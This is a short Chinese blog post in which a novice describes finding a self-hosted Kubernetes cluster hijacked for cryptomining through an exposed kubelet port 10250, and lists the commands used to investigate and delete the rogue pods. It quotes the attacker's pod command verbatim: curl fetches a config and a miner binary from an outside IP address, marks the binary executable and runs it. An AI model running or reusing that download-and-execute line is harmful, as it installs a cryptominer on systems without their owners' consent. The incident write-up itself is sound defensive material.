k8s 被人拿去挖矿了

在腾讯云学生机上自己折腾 k8s，并把 blog 部署在上边，结果两天上去怎么多那么多 pod。

top

kubectl get pods

ps aux | grep k.conf

查看 /tmp/docker, 没有了估计是屁股被擦干净了。

订阅轻重一个 pod

Command:
      sh
      -c
      curl -o /var/tmp/config.json http://192.99.142.232:8220/2.json;curl -o /var/tmp/suppoie http://192.99.142.232:8220/rig;chmod 777 /var/tmp/suppoie;cd /var/tmp;./suppoie -c config.json

找到了一篇一样遭遇的文章http://www.lijiaocn.com/%E9%97%AE%E9%A2%98/2018/07/20/kubernetes-docker-cpu-high.html 按照作者所说应该是 10250 端口暴露到外网了。

netstat -lnpt | grep 10250 果不其然。

先杀死挖矿 pods，

kubectl get pods | grep y1ee4 | awk '{print $1}' | xargs kubectl delete --grace-period=0 --force pods

kubectl get pods

有重新创建了，日了

kubectl get rc 然后 delete rc，赶紧查看是不是哪里配置写错了。

新手，大神路过指导一二。